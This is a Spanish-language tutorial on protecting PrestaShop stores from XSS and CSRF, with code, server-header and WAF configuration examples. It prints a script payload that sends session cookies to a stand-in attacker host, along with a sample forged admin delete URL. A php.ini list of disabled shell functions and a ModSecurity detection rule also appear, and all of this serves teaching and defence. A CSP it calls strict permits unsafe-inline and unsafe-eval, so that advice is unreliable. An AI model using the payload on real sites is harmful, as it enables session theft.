Seguridad PrestaShop: Prevenir XSS y CSRF 2025

La seguridad en una tienda online no es un lujo, es una necesidad operativa. En el ecosistema PrestaShop, dos de las vulnerabilidades más explotadas son el Cross-Site Scripting (XSS) y el Cross-Site Request Forgery (CSRF). Estos fallos permiten desde el robo de sesiones de administradores hasta la ejecución de acciones no autorizadas en el panel de control.

Para garantizar una seguridad PrestaShop robusta, no basta con actualizar el módulo. Necesitas una estrategia de hardening servidor y un conocimiento profundo de cómo mitigar estos vectores de ataque. Este artículo desglosa cada amenaza, sus mecanismos y las soluciones técnicas que debes implementar hoy mismo.

Entendiendo la Amenaza: XSS en PrestaShop

El XSS permite a un atacante inyectar scripts maliciosos en páginas web vistas por otros usuarios. En PrestaShop, esto suele ocurrir en campos de entrada no sanitizados: formularios de producto, comentarios, campos de dirección o incluso en el nombre del cliente.

Tipos de XSS Críticos para tu Tienda

Reflejado (Non-Persistent): El script está en la URL o en una petición. Se usa en phishing para robar cookies de sesión.
Almacenado (Persistent): El script se guarda en la base de datos. Es el más peligroso. Un atacante puede inyectar código en el campo “descripción del producto” y cada vez que un cliente lo vea, el script se ejecuta.
DOM-based: El ataque se ejecuta directamente en el navegador del cliente, manipulando el DOM sin pasar por el servidor.

Ejemplo de Explotación en un Módulo

Imagina un módulo de reseñas que no sanitiza la entrada:

<!-- Campo vulnerable en un formulario de reseña -->
<input type="text" name="review_title" value="<?php echo $_POST['review_title']; ?>">

Un atacante envía:

<script>document.location='https://malicious-site.com/steal.php?cookie='+document.cookie</script>

Si el servidor no escapa la salida, la cookie de sesión del administrador (o del cliente) se envía al atacante.

Mitigación Técnica de XSS en PrestaShop

[TIP] PrestaShop 1.7+ usa Smarty 3, que por defecto escapa la salida con escape:'html'. Sin embargo, los módulos personalizados a menudo omiten esta práctica.

1. Sanitización con `Tools::safeOutput()`

PrestaShop proporciona métodos nativos. Siempre úsalos en controladores y plantillas:

// En un controlador PHP
$safe_value = Tools::safeOutput($user_input);
$this->context->smarty->assign('product_name', $safe_value);

2. Uso de `pSQL()` para Consultas

Nunca concatenes inputs directamente en SQL. Usa pSQL() para evitar inyecciones SQL que pueden derivar en XSS:

// Incorrecto
$sql = 'SELECT * FROM '._DB_PREFIX_.'product WHERE id = '.$_GET['id'];

// Correcto
$sql = 'SELECT * FROM '._DB_PREFIX_.'product WHERE id = '.(int)pSQL($_GET['id']);

3. Content Security Policy (CSP) desde el Servidor

Una capa adicional es forzar una CSP estricta. En el archivo de configuración de tu servidor web (Apache/Nginx), añade:

# En Apache (httpd.conf o .htaccess)
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https://*.prestashop.com;"

[WARNING] No bloquees 'unsafe-inline' completamente si usas módulos que inyectan JavaScript inline. Ajusta la política según los módulos que tengas instalados. Un CSP demasiado restrictivo romperá funcionalidades.

4. Validación de Entrada con Filtros PHP

Usa filter_var() para validar tipos de datos:

$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
$url = filter_var($_POST['url'], FILTER_VALIDATE_URL);
$integer = filter_var($_POST['quantity'], FILTER_VALIDATE_INT);

Cross-Site Request Forgery (CSRF): El Ataque Silencioso

Mientras que XSS ataca al navegador, CSRF engaña al navegador para que realice acciones no autorizadas en nombre de un usuario autenticado. En PrestaShop, esto es letal para el back-office.

Escenario Clásico de Ataque CSRF

Un administrador de tienda está logueado en /admin123/index.php.
El atacante envía un enlace malicioso por email: https://tutienda.com/admin123/index.php?controller=AdminProducts&action=delete&id_product=42.
Si el administrador hace clic (o una imagen en el email carga esa URL), el navegador envía la cookie de sesión automáticamente.
El producto se elimina sin que el administrador lo confirme.

Cómo Protege PrestaShop por Defecto

PrestaShop 1.7+ implementa un token CSRF en todos los formularios del back-office. Este token es único por sesión y se verifica en cada petición POST.

// En un formulario de PrestaShop
<input type="hidden" name="token" value="{$token}">

Sin embargo, los módulos personalizados o las integraciones con APIs externas a menudo olvidan este mecanismo.

Hardening Específico contra CSRF

1. Verificación de Tokens en Módulos Personalizados

Si desarrollas un módulo, asegúrate de que cada acción crítica verifique el token:

public function postProcess()
{
    if (Tools::isSubmit('submitMyModule')) {
        if (!Tools::getValue('token') || Tools::getValue('token') !== $this->context->controller->token) {
            // Token inválido
            $this->errors[] = $this->l('Invalid token');
            return;
        }
        // Procesar acción segura
    }
}

2. Cabecera `Origin` y `Referer`

Configura el servidor para validar estas cabeceras. En Nginx:

# Bloquear peticiones sin cabecera Origin o con Origin malicioso
if ($http_origin !~ '^https?://(www\.)?tudominio\.com') {
    return 403;
}

3. SameSite Cookies

Las cookies de sesión de PrestaShop deben tener el atributo SameSite=Strict o Lax. Esto evita que el navegador envíe la cookie en peticiones cross-site. En el archivo config/defines.inc.php:

define('_COOKIE_KEY_', '...');
define('_COOKIE_IV_', '...');
// Asegúrate de que la configuración de cookies use SameSite

[INFO] PrestaShop 1.7.8+ ya incluye SameSite=Lax por defecto en las cookies de sesión. Si usas una versión anterior, actualiza o parchea manualmente.

Hardening del Servidor para Protección Integral

La seguridad de PrestaShop no termina en el código PHP. El hardening servidor es la última línea de defensa contra XSS y CSRF.

1. Configuración de PHP (php.ini)

Ajusta las directivas críticas:

; Deshabilitar funciones peligrosas
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

; Limitar memoria y tiempo de ejecución
memory_limit = 256M
max_execution_time = 30

; Deshabilitar la exposición de PHP
expose_php = Off

; Configurar session.cookie_httponly y session.cookie_secure
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = "Lax"

2. Cabeceras de Seguridad en Nginx/Apache

Implementa un conjunto completo de cabeceras HTTP:

# En Nginx (bloque server)
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;

3. Protección contra Inyección de Archivos

Asegura los directorios de subida de imágenes y archivos. En el .htaccess de la carpeta upload:

# Bloquear ejecución de scripts en uploads
<FilesMatch "\.(php|php3|php4|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

4. Firewall de Aplicación Web (WAF)

Un WAF como ModSecurity (Apache) o Naxsi (Nginx) puede bloquear patrones de XSS y CSRF antes de que lleguen a PHP. Regla básica para ModSecurity:

# Bloquear intentos de XSS en parámetros GET/POST
SecRule ARGS "@rx <script>" "id:1001,phase:2,deny,status:403,msg:'XSS Attack Detected'"

Auditoría Continua y Buenas Prácticas

La protección e-commerce es un proceso continuo. No basta con aplicar parches una vez.

Lista de Verificación Mensual

Actualizar PrestaShop y todos los módulos a la última versión estable.
Revisar logs de acceso en busca de patrones anómalos (muchas peticiones a admin*, parámetros con <script>).
Escanear con herramientas externas como OWASP ZAP o Acunetix contra tu tienda.
Validar que los tokens CSRF funcionan en todos los formularios del back-office.
Comprobar la CSP con el validador de Mozilla Observatory.

Herramientas Recomendadas

Herramienta	Uso
OWASP ZAP	Escáner automático de vulnerabilidades web
Mozilla Observatory	Auditoría de cabeceras de seguridad
WPScan (adaptado)	Detección de vulnerabilidades conocidas en plugins
PrestaShop Security Scanner	Módulo oficial de PrestaShop para auditoría básica

Conclusión Técnica

La seguridad PrestaShop contra XSS y CSRF se logra mediante una combinación de:

Código seguro: Sanitización de entradas con Tools::safeOutput(), uso de tokens CSRF y validación estricta.
Configuración del servidor: CSP, SameSite cookies, cabeceras HTTP y hardening PHP.
Monitoreo constante: Logs, escáneres y actualizaciones.

Un solo fallo en un módulo de terceros puede comprometer toda la tienda. Implementa estas medidas hoy y reduce drásticamente la superficie de ataque.

[WARNING] No confíes ciegamente en módulos gratuitos de repositorios no oficiales. Muchos contienen vulnerabilidades XSS y CSRF sin parchear. Siempre audita el código antes de instalarlo.